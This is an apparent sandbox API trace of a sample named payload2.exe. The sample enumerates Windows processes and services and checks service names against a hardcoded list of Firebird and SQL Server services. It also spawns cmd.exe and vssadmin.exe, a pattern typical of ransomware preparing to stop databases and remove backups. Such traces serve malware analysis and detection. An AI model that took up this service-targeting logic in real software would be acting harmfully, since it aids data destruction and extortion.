	[0189.245] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x5c4
	[0189.251] Process32FirstW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0189.252] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0189.252] lstrlenW (lpString="System") returned 6
	[0189.253] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0189.253] lstrlenW (lpString="smss.exe") returned 8
	[0189.253] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0189.254] lstrlenW (lpString="csrss.exe") returned 9
	[0189.256] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0189.256] lstrlenW (lpString="wininit.exe") returned 11
	[0189.256] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0189.257] lstrlenW (lpString="csrss.exe") returned 9
	[0189.257] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0189.257] lstrlenW (lpString="winlogon.exe") returned 12
	[0189.257] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0189.258] lstrlenW (lpString="services.exe") returned 12
	[0189.258] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0189.259] lstrlenW (lpString="lsass.exe") returned 9
	[0189.259] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0189.259] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0189.259] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0189.260] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0189.260] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0189.260] lstrlenW (lpString="svchost.exe") returned 11
	[0189.261] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0189.261] lstrlenW (lpString="svchost.exe") returned 11
	[0189.261] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0189.262] lstrlenW (lpString="dwm.exe") returned 7
	[0189.262] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0189.262] lstrlenW (lpString="svchost.exe") returned 11
	[0189.262] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0189.263] lstrlenW (lpString="svchost.exe") returned 11
	[0189.263] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0189.264] lstrlenW (lpString="svchost.exe") returned 11
	[0189.264] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0189.264] lstrlenW (lpString="svchost.exe") returned 11
	[0189.264] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0189.265] lstrlenW (lpString="svchost.exe") returned 11
	[0189.265] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x430, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0189.265] lstrlenW (lpString="svchost.exe") returned 11
	[0189.265] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0189.266] lstrlenW (lpString="svchost.exe") returned 11
	[0189.266] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0189.266] lstrlenW (lpString="svchost.exe") returned 11
	[0189.267] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0189.267] lstrlenW (lpString="svchost.exe") returned 11
	[0189.267] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0189.268] lstrlenW (lpString="svchost.exe") returned 11
	[0189.268] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x62c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0189.268] lstrlenW (lpString="spoolsv.exe") returned 11
	[0189.268] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x690, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0189.269] lstrlenW (lpString="svchost.exe") returned 11
	[0189.269] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x56c, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0189.270] lstrlenW (lpString="audiodg.exe") returned 11
	[0189.270] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0189.270] lstrlenW (lpString="sihost.exe") returned 10
	[0189.271] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0189.271] lstrlenW (lpString="svchost.exe") returned 11
	[0189.271] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0189.272] lstrlenW (lpString="taskhostw.exe") returned 13
	[0189.272] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0189.272] lstrlenW (lpString="msoia.exe") returned 9
	[0189.272] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0189.273] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0189.273] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0189.273] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0189.274] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0189.274] lstrlenW (lpString="Memory Compression") returned 18
	[0189.274] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3d, th32ParentProcessID=0x984, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0189.275] lstrlenW (lpString="explorer.exe") returned 12
	[0189.275] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0189.275] lstrlenW (lpString="SearchUI.exe") returned 12
	[0189.275] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0189.392] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0189.392] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0189.392] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0189.393] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xccc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0189.393] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0189.394] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x998, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload2.exe")) returned 1
	[0189.394] lstrlenW (lpString="payload2.exe") returned 12
	[0189.394] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd7c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0189.395] lstrlenW (lpString="cmd.exe") returned 7
	[0189.395] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd8c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0189.395] lstrlenW (lpString="conhost.exe") returned 11
	[0189.395] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b0, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1
	[0189.396] lstrlenW (lpString="consent.exe") returned 11
	[0189.396] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd8c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1
	[0189.396] lstrlenW (lpString="vssadmin.exe") returned 12
	[0189.396] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0189.397] lstrlenW (lpString="dllhost.exe") returned 11
	[0189.397] Process32NextW (in: hSnapshot=0x5c4, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0
	[0189.398] CloseHandle (hObject=0x5c4) returned 1
	[0189.398] Sleep (dwMilliseconds=0x1f4) 
	[0190.100] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x668330
	[0190.140] EnumServicesStatusExW (in: hSCManager=0x668330, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0) returned 0
	[0190.140] GetLastError () returned 0xea
	[0190.140] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x1c28) returned 0x5312070
	[0190.140] EnumServicesStatusExW (in: hSCManager=0x668330, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x5312070, cbBufSize=0x1c28, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x5312070, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0) returned 1
	[0190.141] CloseServiceHandle (hSCObject=0x668330) returned 1
	[0190.142] lstrlenW (lpString="Appinfo") returned 7
	[0190.142] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0190.142] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0190.142] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0190.142] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0190.142] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0190.142] lstrlenW (lpString="AppXSvc") returned 7
	[0190.142] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0190.142] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0190.142] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0190.142] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0190.142] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0190.142] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0190.142] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0190.142] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0190.142] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0190.142] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0190.142] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0190.142] lstrlenW (lpString="Audiosrv") returned 8
	[0190.142] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0190.142] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0190.142] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0190.142] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0190.142] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0190.142] lstrlenW (lpString="BFE") returned 3
	[0190.143] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0190.143] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0190.143] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0190.143] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0190.143] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0190.143] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0190.143] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0190.143] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0190.143] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0190.143] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0190.143] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0190.143] lstrlenW (lpString="CDPSvc") returned 6
	[0190.143] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0190.143] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0190.143] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0190.143] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0190.143] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0190.143] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0190.143] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0190.143] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0190.143] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0190.143] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0190.143] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0190.143] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0190.143] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0190.144] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0190.144] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0190.144] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0190.144] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0190.144] lstrlenW (lpString="CryptSvc") returned 8
	[0190.144] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0190.144] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0190.144] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0190.144] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0190.144] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0190.144] lstrlenW (lpString="DcomLaunch") returned 10
	[0190.144] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0190.144] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0190.144] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0190.144] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0190.144] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0190.144] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0190.144] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0190.144] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0190.144] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0190.144] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0190.144] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0190.144] lstrlenW (lpString="Dhcp") returned 4
	[0190.144] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0190.144] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0190.144] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0190.144] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0190.144] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0190.144] lstrlenW (lpString="Dnscache") returned 8
	[0190.145] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0190.145] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0190.145] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0190.145] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0190.145] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0190.145] lstrlenW (lpString="DPS") returned 3
	[0190.145] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0190.145] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0190.168] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0190.168] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0190.168] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0190.168] lstrlenW (lpString="DsmSvc") returned 6
	[0190.168] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DsmSvc") returned 1
	[0190.168] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DsmSvc") returned 1
	[0190.168] lstrcmpiW (lpString1="sqlwriter", lpString2="DsmSvc") returned 1
	[0190.168] lstrcmpiW (lpString1="mssqlserver", lpString2="DsmSvc") returned 1
	[0190.168] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DsmSvc") returned 1
	[0190.168] lstrlenW (lpString="DusmSvc") returned 7
